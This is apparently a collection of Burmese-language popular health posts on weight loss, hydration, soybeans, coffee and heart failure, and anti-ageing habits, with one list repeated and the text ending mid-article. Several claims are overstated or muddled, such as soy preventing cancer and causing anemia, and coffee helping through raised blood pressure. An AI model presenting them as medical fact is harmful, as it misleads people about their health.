-မႈန္႔ညက္ေနေသာ သၾကားမ်ား၊ ႐ႈပ္ေထြးကစီဓာတ္မ်ားကို မစားပါႏွင့္။
-ညစာမစားခင္ႏွစ္နာရီအလို အတြင္းဘာမွမစားပါႏွင့္။
-အေလးတံုးမ်ားျဖင့္ ေလ့က်င့္ခန္း ျပဳလုပ္ပါ။
-ညစာစားၿပီးေနာက္ ေပါ့ပါးေသာ ေလ့က်င့္ခန္းမ်ားကို ျပဳလုပ္ပါ။
-သစ္သီးဝလံႏွင့္ ဟင္းသီးဟင္း႐ြက္ မ်ားစားပါ။
-အသား၊ငါး၊ဥအမ်ိဳးမ်ိဳး စတဲ့ ပ႐ိုတင္းၾကြယ္ဝစြာပါဝင္ေသာအစားအစာမ်ားကို စားသံုးေပးပါ။
-ဗီတာမင္ျဖည့္စြက္အားေဆး၊ ငါးႀကီး ဆီျဖည့္စြက္ေဆးမ်ား ေသာက္သံုးပါ။
- ေျခလ်င္ေတာင္တက္ျခင္း၊ ေလွကားတက္ျခင္းမ်ား ျပဳလုပ္ပါ။
-ေလ့က်င့္ခန္းျပဳလုပ္သည့္အခါ အားစိုက္ထုတ္ၿပီး ျပဳလုပ္ပါ။
-အလုပ္ရွိ သင့္ရဲ႕ထိုင္ခံုကို ေလ့ က်င့္ခန္းလုပ္တဲ့ ေဘာလံုးႀကီးနဲ႔ အစား ထိုးလိုက္ပါ။

ဇင္မာျမင့္
By Health Digest


Photo: ဝိတ္ေလွ်ာ့မယ္ဆိုရင္

ဝိတ္ေလွ်ာ့မယ္ဆိုရင္ဝိတ္ေလွ်ာ့ မယ္ဆိုရင္ လုိက္နာသင့္ေသာ အခ်က္မ်ား

-ေရမ်ားမ်ားေသာက္ပါ။
-နံနက္စာမစားခင္ သိပ္မျပင္းထန္ေသာ ကိုယ္လက္ လႈပ္ရွားမႈျပဳလုပ္ပါ။
-နံနက္စာစားၿပီးေနာက္ အတန္ အသင့္ျပင္းထန္တဲ့ ေလ့က်င့္ခန္းျပဳလုပ္ပါ။
-မႈန္႔ညက္ေနေသာ သၾကားမ်ား၊ ႐ႈပ္ေထြးကစီဓာတ္မ်ားကို မစားပါႏွင့္။
-ညစာမစားခင္ႏွစ္နာရီအလို အတြင္းဘာမွမစားပါႏွင့္။
-အေလးတံုးမ်ားျဖင့္ ေလ့က်င့္ခန္း ျပဳလုပ္ပါ။
-ညစာစားၿပီးေနာက္ ေပါ့ပါးေသာ ေလ့က်င့္ခန္းမ်ားကို ျပဳလုပ္ပါ။
-သစ္သီးဝလံႏွင့္ ဟင္းသီးဟင္း႐ြက္ မ်ားစားပါ။
-အသား၊ငါး၊ဥအမ်ိဳးမ်ိဳး စတဲ့ ပ႐ိုတင္းၾကြယ္ဝစြာပါဝင္ေသာအစားအစာမ်ားကို စားသံုးေပးပါ။
-ဗီတာမင္ျဖည့္စြက္အားေဆး၊ ငါးႀကီး ဆီျဖည့္စြက္ေဆးမ်ား ေသာက္သံုးပါ။
- ေျခလ်င္ေတာင္တက္ျခင္း၊ ေလွကားတက္ျခင္းမ်ား ျပဳလုပ္ပါ။
-ေလ့က်င့္ခန္းျပဳလုပ္သည့္အခါ အားစိုက္ထုတ္ၿပီး ျပဳလုပ္ပါ။
-အလုပ္ရွိ သင့္ရဲ႕ထိုင္ခံုကို ေလ့ က်င့္ခန္းလုပ္တဲ့ ေဘာလံုးႀကီးနဲ႔ အစား ထိုးလိုက္ပါ။

ဇင္မာျမင့္
By Health Digest

>>>ဆက္ဖတ္ရန္>>> >>

ေရေသာက္ျခင္းႏွင့္က်န္းမာေရး


Photo: ေရေသာက္ျခင္းႏွင့္က်န္းမာေရး
 

ေရႏွင့္ပတ္သက္၍စိတ္ဓာတ္ က်ျခင္းႏွင့္ေမာပန္းႏြမ္း နယ္ျခင္း ဟာေရဓာတ္ ခန္းေျခာက္ ျခင္း ၏ေရာဂါလကၡဏာမ်ားျဖစ္ပါတယ္။ ထမင္းစားေန စဥ္ေရေသာက္ျခင္းသည္ အစာေျခလုပ္ငန္းကို ကူညီေပး ရာေရာက္ပါတယ္။Water Retention ျဖစ္ျခင္းကို သက္သာေစတဲ့ နည္းလမ္း တစ္ခုကေတာ့ ေရမ်ားမ်ားေသာက္ေပးျခင္းပါပဲ။ ခႏၶာကိုယ္ထဲမွ အဆီေတြကို ေခ်ဖ်က္ရာတြင္ေရက ထိေရာက္စြာကူ ညီေပးႏိုင္ ပါ တယ္။

အဓိကလိုအပ္တဲ့ အစာတစ္ခုလို႔ေျပာႏိုင္ပါတယ္။ ကေလးငယ္ေတြဟာ လူႀကီးမ်ား ထက္စာလွ်င္ ပိုၿပီးေရငတ္ၾကပါတယ္။ ေလ့လာမႈ တစ္ခုအရ ေက်ာင္းေန အ႐ြယ္ကေလးမ်ား၏ ၆၅ ရာခိုင္ႏႈန္းဟာ ေရေသာက္ သံုးမႈနည္းၾကတယ္လို႔ သိရပါတယ္။ ခႏၶာကိုယ္မွ ေရဓာတ္ ၂ ရာခိုင္ ႏႈန္းဆံုး႐ံႈးလွ်င္ ထိုသူ၏ စိတ္ပိုင္း ဆိုင္ရာႏွင့္ ႐ုပ္ပိုင္းဆိုင္ရာေဆာင္႐ြက္မႈ မ်ား လည္း ၂၀ ရာခိုင္ႏႈန္းေလ်ာ့နည္း သြားပါတယ္။ 

ဇင္မာျမင့္
By Health Digest

>>>ဆက္ဖတ္ရန္>>> >>

ေဆး ဖက္ဝင္ ပဲပုပ္ ပံုမွန္စားေပးပါ


Photo: ေဆး ဖက္ဝင္ ပဲပုပ္ ပံုမွန္စားေပးပါ


ေဆး ဖက္ဝင္ ပဲပုပ္ ပံုမွန္စားေပးပါပဲပုပ္(ေခၚ) ပဲငပိ (ေခၚ) ဆိုယာပဲ (Soya Bean) သည္ သက္ရွည္ က်န္းမာေရး အတြက္ အာဟာ ရျပည့္ဝ ၿပီး ေဆး အစြမ္းထက္၊ ေဆးဖက္ဝင္လွေသာ အာဟာရဓာတ္စာတစ္မ်ိဳးျဖစ္ပါသည္။ ေဆးဖက္ ဝင္ပံုမွာ-
(၁) ကင္ဆာေရာဂါစြဲကပ္ ျဖစ္ပြားမႈကို တားဆီး ကာကြယ္ေပးျခင္း
(၂) ေသြးေၾကာက်ဥ္း၊ ေသြးေၾကာပိတ္ေရာဂါ၊ ႏွလံုး ေရာဂါစြဲကပ္ျဖစ္ပြားျခင္းမရွိရန္တားဆီးကာကြယ္ေပးျခင္း
(၃) ေသြးေျပာင္း၊ ရာသီေျပာင္း၊ အသက္အရြယ္ ႀကီးရင့္လာသည့္အခါ စြဲကပ္ျဖစ္ပြားလာတတ္ေသာ ေရာဂါ ေဝဒနာမ်ား မျဖစ္ပြား၊ မစြဲကပ္ႏိုင္ရန္ တားဆီး ကာကြယ္ေပးျခင္း
(၄) ခႏၶာကိုယ္ပိန္ေျခာက္ၿပီး၊ အဆင္းအလွပ်က္ေစျခင္း ကို ကာကြယ္ၿပီး၊ အသားအေရစိုျပည္လာေစႏိုင္ျခင္း
(၅) အ႐ိုးဖြံ႕ၿဖိဳးႀကီးထြားမႈကို မ်ားစြာအေထာက္အကူ ျပဳေစျခင္း စသည္တို႔ျဖစ္ပါသည္။

ဆိုယာပဲစားသံုးမွီဝဲရာတြင္ သတိျပဳ ဆင္ျခင္ေရွာင္ၾကဥ္ရန္ အခ်က္မ်ားကေတာ့ -
(၁) ဆိုယာပဲကို က်က္ေအာင္ခ်က္ ျပဳတ္စားေသာက္ရပါမည္။ အစိမ္း မစားရ။ ဝမ္းေဖာဝမ္းေရာင္တတ္၏။
(၂) ဆိုယာပဲမွာ အစာေၾကခဲသျဖင့္ အလြန္အကြ်ံ စားသံုး ျခင္းမျပဳရပါ။ ရင္ျပည့္တတ္၏။
(၃) အၿမဲစားေသာက္ျခင္း မျပဳၾကရပါ။ ေသြးအားနည္းေရာဂါ ရတတ္၏။ သတိႏွင့္ ဆင္ျခင္ပါေလ။

ေကတီေအာင္သိန္း ရန္ကုန္တကၠသုိလ္
Ref : Sin Chew Weekly (Malaysia)
By Health Digest

>>>ဆက္ဖတ္ရန္>>> >>

တစ္ေန႔ ေကာ္ဖီႏွစ္ခြက္ ေသာက္ျခင္းသည္ ႏွလုံးအားနည္းေရာဂါ ျဖစ္ႏုိင္ေျခ နည္းပါး၊

တစ္ေန႔ ေကာ္ဖီႏွစ္ခြက္ ေသာက္ျခင္းသည္ ႏွလုံးအားနည္းေရာဂါ ျဖစ္ႏုိင္ေျခ နည္းပါး၊ သုိ႔ေသာ္ ေကာ္ဖီ အမ်ားအျပား မေသာက္သင့္
by Health Articles on Tuesday, July 24, 2012 at 10:39am ·



တေန႔လွ်င္ မတ္ခြက္ျဖင့္ ေကာ္ဖီ ၂ ခြက္ ေသာက္ျခင္းသည္ ႏွလုံးက်န္းမာေရး ေကာင္းမြန္ေစရန္ အေထာက္အကူ ျပဳသည္ဟု ေလ့လာမႈ တစ္ခုက ေတြ႕ရွိခဲ့သည္။  ေကာ္ဖီကုိ ယင္းကဲ့သုိ႔ ေသာက္သုံးျခင္းသည္ ႏွလုံးအားနည္းေရာဂါ ျဖစ္ႏုိင္ေျခ အႏၲရာယ္ ေလ်ာ့က်ႏုိင္မႈႏွင့္ ဆက္စပ္ေနေၾကာင္း အဆုိပါ သုေတသနျပဳ ေလ့လာမႈက ေတြ႕ရွိခဲ့သည္။ ႏွလုံးအားနည္းေရာဂါေၾကာင့္ ေသဆုံးရမႈႏႈန္းသည္ အခ်ဳိ႕ေသာ ကင္ဆာေရာဂါေၾကာင့္ ေသဆုံးရမႈႏႈန္းထက္ ပုိမ်ားသည္ကုိ ေတြ႕ရွိရသည္။ ေဆးစစ္အၿပီး တစ္ႏွစ္အတြင္း ႏွလုံးအားနည္းေရာဂါ ရွိသူမ်ားထဲမွ ၄၀ ရာခုိင္ႏႈန္းအထိ အသက္အႏၲရာယ္ ထိခုိက္မႈ ရွိသည္ကုိ ေတြ႕ခဲ့ရသည္။

ယခုေနာက္ဆုံး သုေတသနျပဳ ေလ့လာမႈအရ ေကာ္ဖီပမာဏ အသင့္အတင့္ကုိ ပုံမွန္ ေသာက္သုံးေပးျခင္းသည္ ႏွလုံးေရာဂါ ျပႆနာမ်ားကို ေလ်ာ့က်ေစႏုိင္ေသာ္လည္း ေကာ္ဖီ အလြန္အကၽြံ ေသာက္သုံးျခင္းက ဆန္႔က်င္ဘက္ အက်ဳိးတရား ျဖစ္ေပၚေစႏုိင္သည္ဟု သိရွိရပါသည္။ အမ်ဳိးသား အမ်ဳိးသမီး ၁၅၀၀၀၀ တုိ႔အား ေလ့လာၾကည့္ခဲ့ရာတြင္ တစ္ေနလွ်င္ ေကာ္ဖီ မတ္ခြက္တစ္ခြက္ သုိ႔မဟုတ္ ႏွစ္ခြက္ ေသာက္သုံးသူမ်ားသည္ ေကာ္ဖီ လုံးဝ မေသာက္သူမ်ားထက္ ႏွလုံးအားနည္းေရာဂါ ျဖစ္ေပၚႏုိင္သည့္ အႏၲရာယ္ ၁၁ ရာခုိင္ႏႈန္း ေလ်ာ့နည္းသည္ကုိ ေတြ႕ရွိခဲ့ရသျဖင့္ ယခင္ေကာ္ဖီႏွင့္ ပတ္သက္ေသာ ေလ့လာမႈ ရလဒ္ (၅) ခုကုိ ပယ္ဖ်က္ပစ္လုိက္သည္။ သုိ႔ေသာ္ တစ္ေန႔လွ်င္ ေကာ္ဖီ (၅) ခြက္ႏွင့္အထက္ ေသာက္သုံးသူမ်ား အတြက္မူ ႏွလုံးအတြက္ ဆုိးက်ဳိး ျဖစ္ေပၚႏုိင္ေၾကာင္း ေတြ႕ရွိရေၾကာင္း Circulation Heart Failure ဂ်ာနယ္၏ အစီရင္ခံစာမ်ားတြင္ ေဖာ္ျပထားသည္။

အေမရိကန္ႏုိင္ငံ ေဘာ္စတြန္ၿမိဳ႕ရွိ Beth Israe! Deaconess Medical Center  မွ သုေတသန ပညာရွင္ ေဒါက္တာ မာေရးမစ္တယ္လ္မန္းက ေကာ္ဖီ အတန္အသင့္ ေသာက္သုံးမႈသည္ ႏွလုံးအားနည္းေရာဂါအတြက္ အဓိက အေနအထား ျဖစ္လာပုံရသည္ဟု ဆုိသည္။ ေကာ္ဖီေသာက္ျခင္းက ဘာ့ေၾကာင့္ ႏွလံုးအာနည္းသည့္ ေရာဂါ ျဖစ္ႏိုင္ေျခ ေလ်ာ့နည္းေစရသည္ကုိမူ ေသခ်ာစြာ မသိရဟု သုေတသီမ်ားက ေျပာၾကားသည္။ ႏွလုံးအားနည္းေရာဂါ ဆုိသည္မွာ ႐ုတ္တရက္ ႏွလုံးေဖာက္ျပန္မႈ သုိ႔မဟုတ္ ႏွလုံးေရာဂါေၾကာင့္ လူ႔ခႏၶာကုိယ္ တစ္ေလွ်ာက္သုိ႔ ေသြးပုိ႔လႊတ္ရန္ အျပင္းအထန္ ႀကိဳးစား ႐ုန္းကန္ေနရသည့္ ေရာဂါျဖစ္သည္။ ေကာ္ဖီေသာက္ျခင္းေၾကာင့္ ႏွလုံးအားနည္းေရာဂါ ျဖစ္ႏုိင္ေျခ ေလ်ာ့က်ရျခင္းမွာ ေယဘုယ်အားျဖင့္ ေကာ္ဖီေၾကာင့္ ေသြးေပါင္တုိးလာျခင္းေၾကာင့္ ျဖစ္ပုံရသည္ဟု သုေတသီမ်ားက ေျပာသည္။


ရတနာပံု ဘာသာျပန္သတင္း

Ref: Daily Mail
Source: http://news.yatanarpon.com.mm/news/news-61341
>>>ဆက္ဖတ္ရန္>>> >>

ႏုပ်ိဳလွပသူတိုင္း လုပ္ေဆာင္ၾကသည့္ အေလ့အက်င့္ ခုနစ္ခု

by Health Articles on Wednesday, July 4, 2012 at 11:00am ·

အသက္အရြယ္နဲ႔ မလိုက္ေအာင္ ႏုပ်ိဳလွပေန သူေတြ သင့္ပတ္ ဝန္းက်င္မွာ ေတြ႕ဖူးမွာပါ။ ေန႔စဥ္လိုက္နာ က်င့္သံုးတဲ့ အေလ့အက်င့္ ေတြက ႏုပ်ိဳလွပမႈကို ျဖစ္ေစ တာပါ။ သူတို႔တစ္ေတြ လိုက္နာ ေဆာင္ရြက္ေလ့ရွိတဲ့ အေလ့အက်င့္ေတြထဲက ခုနစ္ခုကို ေဖာ္ျပ လိုက္ပါတယ္။
၁) သဘာဝပါဝင္ပစၥည္းေတြနဲ့ ေဖာ္စပ္ထားတဲ႕ အလွျပင္ပစၥည္းေတြကို အသံုးျပဳတယ္
အမ်ားစုက ဓာတုပစၥည္းေတြနဲ႔ ေဖာ္စပ္ထုတ္လုပ္ထားတဲ့ အလွျပင္ပစၥည္းေတြက ပိုမိုအာနိသင္ျပည့္ဝတယ္လို႔ ထင္တတ္ၾက ပါတယ္။ တကယ္ေတာ့ သဘာဝ ပါဝင္ပစၥည္းေတြနဲ႔ ေဖာ္စပ္ထုတ္ လုပ္ထားတဲ့ အလွျပင္ပစၥည္းေတြက သက္ႀကီးအေရးေၾကာင္းေတြ အတြက္ အမွန္တကယ္ ထိေရာက္မႈရွိတယ္လို႔ အလွအပပညာ ရွင္ ဘာဘရာကလို႔က ေျပာပါတယ္။ အပင္ထြက္ပါဝင္ပစၥည္း ေတြျဖစ္တဲ့ ပက္ပ္တိုက္၊ လိုက္ပိုဆုန္း၊ ဂလိုင္ကိုဆိုက္ စတာေတြ က အသားအေရကို ၾကည္လင္ဝင္းပတာ၊ တင္းရင္းမႈရွိတာ၊ အေရး ေၾကာင္းေတြမျဖစ္ေအာင္ ကာကြယ္ေပးတာ စတဲ့ အစြမ္းအာနိသင္ ေတြ ရွိပါတယ္။
၂) ေနေရာင္ကာခရင္မ္ အၿမဲလိမ္းတယ္
အရြယ္အိုမင္းမႈကို တားဆီးႏိုင္တဲ့ ပထမဆံုးလက္နက္က ေနေရာင္ကာ ခရင္မ္လိမ္းတာပါလို႔ ကလို႔က ေျပာပါတယ္။ ဇင့္နဲ႔ တိုက္ေတနီယမ္ဒိုင္ေအာက္ဆိုက္ပါတဲ့ ေနေရာင္ကာခရင္မ္ ေတြက အသားအေရကို ယားယံမႈမရွိေစဘဲ ေနေရာင္ျခည္ေတြ ကို အသားအေရနဲ႔ မထိေတြ႕ေအာင္ လုပ္ေဆာင္ေပးတာ ေၾကာင့္ အသားအေရပ်က္စီးမႈမွ ကာကြယ္ေပးႏိုင္ပါတယ္။ အရြယ္ တင္ႏုပ်ိဳေနသူေတြဟာ ေနေရာင္ကာခရင္မ္ကို ေန႔စဥ္ အသံုးျပဳ တတ္ၾကပါတယ္။ ေနေရာင္ျခည္က အိုမင္းမႈကို ျမန္ဆန္ေစတယ္ ဆိုေပမယ့္ တစ္ေန႔ကို ေနျခည္ႏုႏုနဲ႔ ၁၀ မိနစ္ေလာက္ေတာ့ ထိေတြ႕မႈရွိပါမွ ခႏၶာကိုယ္အတြက္ လိုအပ္တဲ့ ဗီတာမင္ဒီကို ရရွိမွာပါ။ ေနျခည္ႏုႏုရရွိဖို႔ မနက္ ၁၀ နာရီမတိုင္မီနဲ႔ ညေန ၄ နာရီေနာက္ပိုင္းေတြမွာ အျပင္ထြက္ပါ။
၃) အင္တီေအာက္ဆီးဒင္႕ပါဝင္တာကို အသံုးျပဳတယ္
ႏုပ်ိဳသူေတြ အသံုးျပဳေလ့ရွိတဲ့ အင္တီးေအာက္ဆီးဒင့္ပါ ဝင္တဲ့ အသားအေရ ထိန္းပစၥည္းေတြက ခႏၶာကိုယ္မွာ အိုမင္းမႈ ကို ျဖစ္ေစတဲ့Free Radical ေတြရဲ႕ တိုက္ခိုက္မႈမွ တားဆီးေပးၿပီး ခႏၶာကိုယ္တြင္း ညစ္ညမ္းမႈေတြကိုပါ ဖယ္ရွားေပးပါတယ္။ နယူး ေယာ့ခ္မွ အေရျပားပညာရွင္က ဘလူးဘယ္ရီ၊ လက္ဖက္စိမ္းနဲ႔ ဗီတာမင္ အီးစတဲ့ အင္တီေအာက္ဆီးဒင့္ ပါဝင္တဲ့ အသားအေရ ထိန္းသိမ္းေပးတာေတြကို အသံုးျပဳပါလို႔ အႀကံေပးပါတယ္။
၄) ေန့စဥ္ အဆီလိမ္းတယ္
အသားအေရဝင္းပသူေတြဟာ အဆီတစ္မ်ိဳးမ်ိဳးကို ေန႔စဥ္ လိမ္းတတ္ၾကပါတယ္။ အိုမီဂါ-၃ နဲ႔ အိုမီဂါ- ၆ ပါဝင္တဲ့ အဆီ ေတြက အေရျပားမွာ အလႊာပါးတစ္ခုအေနနဲ႔ ဖံုးအုပ္ထားတာ ေၾကာင့္ အသားအေရပ်က္စီးမႈမွ ကာကြယ္ေပးပါတယ္။ ဒါ့အျပင္ အေရျပားမွာ ေရဓာတ္ကို ထိန္းသိမ္းေပးပါတယ္။
၅) သစ္သီးနဲ့ ဟင္းသီးဟင္းရြက္ေတြ မ်ားမ်ားစားတယ္
အရြယ္တင္ႏုပ်ိဳေစတဲ့ အင္တီေအာက္ဆီးဒင့္ ပါဝင္တာေတြကို အေရျပားမွာ လိမ္းေပး႐ံုသာမက စားေပးတာက အေပၚယံ ေရႊမႈန္ႀကဲသလို မျဖစ္ေစဘဲ ခႏၶာကိုယ္တြင္းမွ နက္နက္႐ိႈင္း႐ိႈင္း လွပမႈ ျဖစ္ေစတယ္လို႔ နယူးေယာက္မွ အေရျပားပညာရွင္ အဲလိစ္ စဘတ္က ေျပာပါတယ္။ သစ္သီး၊ အစိမ္းရင့္ေရာင္ဟင္းသီးဟင္းရြက္ေတြနဲ႔႔ လက္ဖက္ရည္ကို ေသာက္ေပးပါ။ အေပၚ ယံဆဲလ္ေတြ ေသဆံုးသြားၿပီး ဆဲလ္အသစ္ျဖစ္ေပၚလာဖို႔ ခႏၶာ ကိုယ္တြင္းမွာ ကုန္ၾကမ္းကို ရရွိၿပီးသား ျဖစ္ေစပါတယ္။
၆) က်န္းမာေရးနဲ့ ညီၫြတ္တဲ့ဆီ စားတယ္
အသားအေရ ဝင္းပစိုျပည္သူေတြက သံလြင္ဆီနဲ႔ ငါးအဆီ ေတြလို က်န္းမာေရးနဲ႔ ညီၫြတ္တဲ့ဆီေတြကို စားသံုးၾကပါတယ္။ သင္က အဆီမွန္သမွ် ေရွာင္ၾကဥ္ေနပါက သင့္အသားအေရ ငယ္ရြယ္ႏုပ်ိဳဖို႔ကို ဟန္႔တားသလိုျဖစ္ေနပါလိမ့္မယ္။ က်န္းမာေရး နဲ႔ညီၫြတ္တဲ့ဆီေတြက အေရျပားကို အတားအဆီးတစ္ခုအေနနဲ႔ ကာကြယ္ေပး႐ံုသာမကဘဲ အေရျပားက ေရဓာတ္ဆံုး႐ံႈးမႈနဲ႔ ေရာင္ ရမ္းမႈေတြကို တားဆီးေပးပါတယ္။
၇) ေယာဂက်င့္တယ္
စိတ္နဲ႔ ခႏၶာကိုယ္က ဆက္စပ္ေနတာေၾကာင့္ စိတ္ဖိစီးမႈကို ေလွ်ာ့ခ်ေပးႏိုင္တဲ့ ေယာဂက်င့္သူေတြဟာ စိတ္ပ်ိဳ ကိုယ္ႏုၾကပါ တယ္။ စိတ္ဖိစီးမႈမ်ားပါက ခႏၶာကိုယ္က ေကာ္တီေဇာေဟာ္မုန္း ေတြထြက္ၿပီး အိုမင္းမႈကို ျမန္ဆန္ေစပါတယ္။ ဒီေဟာ္မုန္းက အသားအေရတင္းရင္းေစတဲ့ ကိုလာဂ်င္ေတြကို ဖ်က္ဆီးၿပီး အေရးေၾကာင္းေတြျဖစ္ေစပါတယ္။
၈) ေလ့က်င့္ခန္းလုပ္တယ္
ေလ့က်င့္ခန္းလုပ္တာေၾကာင့္ ခႏၶာကိုယ္မွာ ေရာင္ရမ္းမႈ ေတြကို တားဆီးေပးတဲ့ အင္ေဒၚဖင္န္ေဟာ္မုန္း ထြက္ရွိပါတယ္။ ဒီေဟာ္မုန္းက အနာက်က္ျမန္ေစၿပီး ခႏၶာကိုယ္မွာ ေသြးလွည့္ပတ္ မႈကို ေကာင္းမြန္ေစတာေၾကာင့္ အေရျပားဆဲလ္ေတြအထိ အာဟာရ ပို႔ေဆာင္ေပးႏိုင္ပါတယ္။ ဒါေၾကာင့္ ႏုပ်ိဳတက္ျကြလွပ သူေတြဟာ တစ္ေန႔ကို နာရီဝက္နဲ႔ တစ္ပတ္ကို အနည္းဆံုး သံုးရက္ ေလာက္ ေလ့က်င့္ခန္းျပဳလုပ္တတ္ၾကပါတယ္။

ပန္းႏြယ္ေလး(ေဆးဝါးတကၠသိုလ္)
Ref: Good Health
Source: http://www.yoyarlay.com/health/health/beauty/27598-2012-06-29-08-47-44
>>>ဆက္ဖတ္ရန္>>> >>

အလြယ္ကူဆံုး ဝိတ္ခ်နည္းမ်ား

by Health Articles on Tuesday, July 24, 2012 at 10:39am



ခႏၶာကိုယ္ အေလးခ်ိန္က်ေစဖို႔ ခႏၶာကိုယ္ရဲ႕ ဇီဝ႐ုပ္ျဖစ္ပ်က္မႈဟာ အဓိက က်လွပါတယ္။
ဇီဝ႐ုပ္ျဖစ္ပ်က္မႈဆိုတာ
ခႏၶာကိုယ္ရဲ႕ ကယ္လိုရီကို ေလာင္ ကြ်မ္းေစဖို႔ ခႏၶာကိုယ္ရဲ႕ ဇီဝ႐ုပ္ျဖစ္ပ်က္ မႈ ေကာင္းတာေၾကာင့္ အဆီေတြကို ေလာင္ကြ်မ္းေစႏိုင္ကာ ခႏၶာကိုယ္ အ ေလးအခ်ိန္ကို ထိန္းရာေရာက္ေစပါတယ္။ ခႏၶာကိုယ္အတြက္ ဇီဝ႐ုပ္ျဖစ္ ပ်က္ မႈကိုေကာင္းေစဖို႔ က်န္းမာေရးနဲ႔ ညီညြတ္ တဲ့ဘဝေနထိုင္မႈ ပံုစံလို အပ္ပါတယ္။ က်န္း မာတဲ့ဘဝေန ထိုင္မႈျဖစ္ဖို႔ေလ့ လာၾကည့္ပါ။
ေကာင္းမြန္ေသာ နံနက္စာ
မနက္စာစားဖို႔ေျပာတာက လြယ္ပါ တယ္။ မစားမိတာက ျပႆနာပါ။ မနက္ စာထဲမွာ ဗီတာမင္နဲ႔ သတၱဳဓာတ္ေတြပါ တာကို စားသံုးေပး တာေၾကာင့္ေနာက္ ထပ္တစ္နပ္စားသံုးဖို႔ကို အရမ္းႀကီး မစား မိေအာင္ အစားထိန္းသိမ္းမႈ အက်င့္ကို ရေစတဲ့အျပင္ သင့္ဦးေႏွာက္ ကိုလည္း စြမ္းအင္ရရွိေစပါတယ္။ မနက္စာထဲမွာ အဆီထုတ္ ထားတဲ့ႏို႔ ရွစ္ေအာင္စနဲ႔ သစ္ သီးတခ်ိဳ႕ကို ပါဝင္ေအာင္ ေန႔စဥ္မွီ ဝဲေပးတာေၾကာင့္ သင့္ခႏၶာကိုယ္အ တြက္ ေကာင္းမြန္ တဲ့ အာဟာရ ကိုျဖစ္ေစပါတယ္။
ေလ့က်င့္မႈ
တစ္ေန႔ကို မိနစ္ ၃၀ ေလာက္ ပံုမွန္ ေလ့က်င့္ခန္းျပဳလုပ္ပါ။ လမ္းေလွ်ာက္ တာ၊ စက္ဘီးစီးတာ၊ ကခုန္တာ၊ ႀကိဳးခုန္ တာေတြ လိုေလ့က်င့္မႈမ်ိဳး ကိုျပဳလုပ္ေပး တာေၾကာင့္ ခႏၶာကိုယ္ကို တက္ၾကြလန္း ဆန္းေနေစပါ တယ္။ ကိုယ္အေလးခ်ိန္ က်ခ်င္တာေၾကာင့္ အခ်ိန္ၾကာ ၾကာႀကီး ေလ့က်င့္ ခန္းေတြမ လုပ္ပါနဲ႔။ ေလ့က်င့္ခန္း ကိုမိနစ္ ၉၀ ေလာက္ျပဳလုပ္ေပး ရင္လည္း အလြန္အကြ်ံျဖစ္သြားေစတာေၾကာင့္ သင္ဟာခႏၶာကိုယ္ အေလးခ်ိန္ က်ေအာင္ေလ့က်င့္ခန္းနဲ႔ ခ်ေနသူဆိုရင္ လိုအပ္တဲ့ ေလ့က်င့္ ခ်ိန္ပမာဏကို သင့္က်န္းမာေရး စံႏႈန္းနဲ႔တိုင္းတာဖို႔ ေလ့က်င့္ေရးနည္းျပ ဆရာနဲ႔တိုင္ပင္ပါ။
နည္းနည္းစားပါ
ေန႔လယ္စာကို အဝစားထားလိုက္မယ္ ဒါမွေနာက္ထပ္ဗိုက္မဆာေတာ့မွာ လို႔မေတြးပါနဲ႔။ အစာကို နည္းနည္းနဲ႔ မၾကာခဏစားေပးတာဟာ ခႏၶာကိုယ္ လုပ္ေဆာင္ခ်က္နဲ႔ အစာေျခစနစ္ကို ေကာင္းမြန္ေစပါတယ္။ အစားအစာနဲ႔ မုန္႔ပဲသေရစာေတြကို မွ်တေအာင္စားေပး တာေၾကာင့္ခႏၶာကိုယ္ တြင္းသၾကားဓာတ္ ကို ထိန္းခ်ဳပ္ႏိုင္ပါတယ္။
ၾကြက္သားေလ့က်င့္ခန္းလုပ္ပါ
ၾကြက္သားေတြသန္မာေစဖို႔ ပံုမွန္ ေလ့က်င့္ခန္းျပဳလုပ္ေပးဖို႔လိုပါတယ္။ အေလးမေလ့က်င့္ခန္းေတြကို ပံုမွန္ျပဳ လုပ္ေပးပါ။ အေမရိကန္မွ ဆီးခ်ိဳေသြးခ်ိဳ ဆိုင္ရာေလ့လာသူေတြက တစ္ပတ္ကိုသံုး ႀကိမ္အေလးမေလ့က်င့္ခန္းျပဳလုပ္ေပး တာေၾကာင့္ ခႏၶာကိုယ္မွာ အင္ဆူလင္အ ဆင့္ ကိုတိုးေစၿပီး ခုခံအားလည္း တက္ေစ တယ္လို႔ဆိုပါတယ္။
ကယ္လိုရီကို ေလွ်ာ႕ပါ
ခႏၶာကိုယ္အေလးခ်ိန္ခ်ေနခ်ိန္မွာ ကယ္လိုရီအနည္းဆံုးျဖစ္ေစမယ့္ အစားအစာေတြကို စားေပးရမွာျဖစ္ပါတယ္။ ဒါေၾကာင့္ သင္စားေနက် အစားအစာ ေတြ ထဲက အရသာတူၿပီး ကယ္လိုရီပါ ဝင္မႈနည္းတဲ့အစားအစာေတြကို အစား ထိုး စားသံုးေပးပါ။ ဟင္းရြက္ေတြ ကို ေၾကာ္စားမယ့္ အစား ျပဳပ္ စားတာမ်ိဳး၊ သုပ္စား တာမ်ိဳးျပဳလုပ္ပါ။
ပ႐ိုတင္းလံုေလာက္ပါေစ
ခႏၶာကိုယ္ရဲ႕ဇီဝ႐ုပ္ျဖစ္ပ်က္မႈအ တြက္ပ႐ိုတင္းဓာတ္လိုအပ္သလို၊ သင္က ကယ္လိုရီကို ေလွ်ာ့စားေနတာျဖစ္တဲ့အ တြက္လည္း ပ႐ိုတင္းဓာတ္ကို လံု ေလာက္စြာစားသံုးေပးဖို႔လိုအပ္ပါတယ္။ ေပါင္ ၁၅၀ ရွိတဲ့အမ်ိဳးသမီးတစ္ေရာက္ အတြက္ တစ္ေန႔ကို ပ႐ိုတင္း ၅၅ ဂရမ္ရ ရွိဖို႔လိုပါတယ္။ ဒါမွမဟုတ္ရင္ ပ႐ိုတင္း ဓာတ္ပါဝင္တဲ့အာဟာရ ၅-၆ ေအာင္စ ေလာက္ တစ္ေန႔ကို စားသံုးေပးသင့္ပါတယ္။
ေလ့က်င့္မႈအဆင့္ျမႇင့္တင္ပါ
